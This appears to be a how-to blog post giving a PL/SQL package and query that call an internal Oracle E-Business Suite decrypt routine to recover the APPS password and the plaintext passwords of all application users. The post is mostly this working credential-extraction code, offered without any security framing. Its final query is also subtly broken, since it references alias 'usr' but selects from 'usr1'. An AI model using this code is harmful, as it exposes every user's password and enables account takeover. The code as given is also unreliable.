How to find oracle application username and password

How to find oracle application username and password

In this post , we will be discuss about how to find oracle application username and password. I will share the plsql script to find the oracle application username and password. This plsql help to find the complete user details including User name password in oracle apps. To find oracle application username and password , we first need to register the package and then use this package in the sql to find out the username password. Here below is the complete detail about to find oracle application username and password.

Step by Step to find oracle application username and password

Step1:- First register the package as below.

CREATE OR REPLACE PACKAGE oracle_get_password

AS

   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)

      RETURN VARCHAR2;

END oracle_get_password;

/

CREATE OR REPLACE PACKAGE BODY oracle_get_password

AS

   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)

      RETURN VARCHAR2

   AS

      LANGUAGE JAVA

      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

END oracle_get_password;

/

Step2:- Now use the query to extract the application user name and password.

SELECT usr.user_name,

       oracle_get_password.decrypt

          ((SELECT (SELECT oracle_get_password.decrypt

                              (fnd_web_sec.get_guest_username_pwd,

                               usertable.encrypted_foundation_password

                              )

                      FROM DUAL) AS apps_password

              FROM fnd_user usertable

             WHERE usertable.user_name =

                      (SELECT SUBSTR

                                  (fnd_web_sec.get_guest_username_pwd,

                                   1,

                                     INSTR

                                          (fnd_web_sec.get_guest_username_pwd,

                                           '/'

                                          )

                                   - 1

                                  )

                         FROM DUAL)),

           usr.encrypted_user_password

          ) XX_USER_PASSWORD

  FROM fnd_user usr1